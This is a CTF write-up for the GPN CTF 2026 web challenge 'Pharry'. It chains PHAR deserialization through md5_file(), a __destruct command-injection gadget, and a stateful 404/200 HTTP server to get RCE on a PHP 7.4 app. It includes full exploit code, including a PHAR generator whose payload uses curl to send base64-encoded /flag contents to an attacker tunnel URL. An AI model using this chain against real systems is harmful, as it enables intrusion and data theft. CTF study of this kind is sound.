← Back to Writeups
HTBN/AWeb

Pharry

XESXOR8/23/20266 min read
#web#htb#n/a

Pharry

Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-06 | Status: Solved Techniques: destruct_gadget_command_injection, oob_flag_exfiltration_via_curl, phar_deserialization_via_md5_file, php74_phar_format_compatibility, stateful_http_server_404_200_toggle

Summary

Task: PHP 7.4 app with md5_file() on user-controlled path, User class with __destruct() calling system('rm ' . avatar_path). Solution: plant a malicious PHAR via stateful HTTP server (404→200 toggle), trigger phar:// deserialization through md5_file() to get RCE via __destruct gadget.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf | ID: 20260606_gpnctf_pharry
  • Tags: command_injection, rce, php, deserialization, magic_methods, php7, phar
  • Indicators: md5_file() or other file function with user-controlled path, PHP 7.x target (phar:// auto-deserialization), User class with __destruct calling system(), avatar_path concatenated into shell command without sanitization, fallback branch writes remote content to local file
  • Source: 20260606_gpnctf_pharry.md

Foothold

Vulnerability / Misconfiguration

  1. Destruct_gadget_command_injection
  2. Oob_flag_exfiltration_via_curl
  3. Phar_deserialization_via_md5_file
  4. Php74_phar_format_compatibility
  5. Stateful_http_server_404_200_toggle
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • destruct_gadget_command_injection
  • oob_flag_exfiltration_via_curl
  • phar_deserialization_via_md5_file
  • php74_phar_format_compatibility
  • stateful_http_server_404_200_toggle
  • Tags: command_injection, rce, php, deserialization, magic_methods, php7, phar

Original Writeup

<details><summary>Click to expand original content</summary>

Pharry — GPNCTF 2026

Description

PHP7 was soo cooked...

A PHP 7.4 web application takes a path GET parameter and calls md5_file() on it. A User class with a dangerous __destruct() method provides a command injection gadget. The goal is to achieve RCE and read the flag from the server.

Analysis

Source Code (index.php)

<?php
class User {
    public $avatar_path;
    public $name;
    public $password;
    function __construct($name, $password) {
        $this->name = $name;
        $this->password = $password;
        $this->avatar_path = "avatars/".$name.".png";
        system("touch ".$this->avatar_path);
    }
    function __destruct() {
        system("rm ".$this->avatar_path);
    }
}

$file = $_GET['path'];
$res = md5_file($file);
if ($res == FALSE){
    file_put_contents("/tmp/remote_file.jpg",file_get_contents($file));
    $res = md5_file("/tmp/remote_file.jpg");
}
if ($res == 0xdeadbeef){
    echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt");
} else{
    echo $res;
}
?>

Vulnerability Chain

  1. PHAR Deserialization (PHP 7.x): The challenge title "Pharry" is a pun on PHAR. In PHP 7.x, md5_file() (and other file functions like file_exists, fopen, etc.) automatically deserialize PHAR metadata when called with the phar:// stream wrapper. This behavior was hardened/removed in PHP 8.0+. The flavor text "PHP7 was soo cooked" confirms the target runs PHP 7.

  2. Command Injection Gadget: User::__destruct() calls system("rm ".$this->avatar_path). By crafting a User object with avatar_path = "x; <malicious_command> #", we get arbitrary command execution when the object is garbage-collected after deserialization.

  3. File Plant Primitive: The FALSE branch writes remote content to /tmp/remote_file.jpg via file_get_contents(). This allows planting a malicious PHAR file on the server's filesystem at a known path.

  4. Red Herrings: The $res == 0xdeadbeef comparison (PHP type juggling with loose ==) and the flag.txt containing ASCII art are both decoys. The real flag is at /flag on the server.

The Stateful Server Problem

The key challenge is getting into the FALSE branch. md5_file() succeeds on http:// URLs (it fetches the content and returns its MD5 hash), so it never returns FALSE for a valid remote URL. Both md5_file() and file_get_contents() use the same PHP stream wrappers — there's no standard wrapper where one fails and the other succeeds.

Solution: A stateful HTTP server that returns 404 on the 1st request (causing md5_file to return FALSE) and 200 with PHAR bytes on the 2nd request (so file_get_contents succeeds and writes the PHAR to /tmp/remote_file.jpg). Within a single PHP request, md5_file() and file_get_contents() make separate HTTP requests to the same URL, allowing the server to respond differently.

Solution

Step 1: Generate Malicious PHAR with PHP 7.4

The PHAR must be generated with PHP 7.4 — PHP 8.x produces a subtly different manifest format that causes "truncated entry" errors on PHP 7.4 targets.

<?php
// gen_phar.php — run with: docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php
class User {
    public $avatar_path;
    public $name;
    public $password;
}

@unlink("exploit.phar");
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "test");

$o = new User();
$TUN = "https://ATTACKER_TUNNEL_URL";
$cmd = "curl -s $TUN/BEACON; D=\$( cat /flag* 2>/dev/null | base64 | tr -d \"\\n\"); curl -s $TUN/FLAG/\$D";
$o->avatar_path = "x; $cmd #";
$o->name = "x";
$o->password = "x";

$phar->setMetadata($o);
$phar->setSignatureAlgorithm(Phar::SHA1);
$phar->stopBuffering();
echo "phar created, size=".filesize("exploit.phar")."\n";

Build with Docker:

docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php

Step 2: Stateful HTTP Server (404→200 Toggle)

#!/usr/bin/env python3
# stateful_server.py — serves 404 on odd requests, 200+phar on even requests
from http.server import HTTPServer, BaseHTTPRequestHandler
import os

request_count = {}

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path
        count = request_count.get(path, 0) + 1
        request_count[path] = count
        print(f"[{count}] {path}", flush=True)

        if path == "/phar":
            if count % 2 == 1:  # odd requests -> 404 (for md5_file)
                self.send_response(404)
                self.end_headers()
            else:  # even requests -> 200 + phar (for file_get_contents)
                data = open("exploit.phar", "rb").read()
                self.send_response(200)
                self.send_header("Content-Type", "application/octet-stream")
                self.send_header("Content-Length", str(len(data)))
                self.end_headers()
                self.wfile.write(data)
        else:
            self.send_response(200)
            self.end_headers()

    def log_message(self, format, *args):
        pass

print("Server on :8899", flush=True)
HTTPServer(("0.0.0.0", 8899), Handler).serve_forever()

Expose via cloudflared tunnel:

cloudflared tunnel --url http://localhost:8899

Step 3: Plant the PHAR on the Server

GET /?path=https://TUNNEL_URL/phar

What happens inside PHP:

  1. md5_file("https://TUNNEL_URL/phar") → server returns 404md5_file returns FALSE
  2. Enters the FALSE branch → file_get_contents("https://TUNNEL_URL/phar") → server returns 200 + PHAR bytes
  3. file_put_contents("/tmp/remote_file.jpg", <phar_bytes>) → PHAR planted at known path
  4. md5_file("/tmp/remote_file.jpg") → returns MD5 hash of the PHAR (confirms successful write)

Step 4: Trigger PHAR Deserialization → RCE

GET /?path=phar:///tmp/remote_file.jpg/test.txt

What happens inside PHP 7.4:

  1. md5_file("phar:///tmp/remote_file.jpg/test.txt") → PHP 7.4 auto-deserializes PHAR metadata
  2. Creates User object with avatar_path = "x; curl ... #"
  3. Object is garbage-collected → __destruct() fires → system("rm x; curl -s TUNNEL/BEACON; D=$(cat /flag* | base64 | tr -d '\n'); curl -s TUNNEL/FLAG/$D #")
  4. Flag arrives at attacker's tunnel as a base64-encoded URL path segment

Step 5: Decode the Flag

The cloudflared tunnel logs show an incoming request like:

GET /FLAG/R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==
echo 'R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==' | base64 -d
# GPNCTF{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR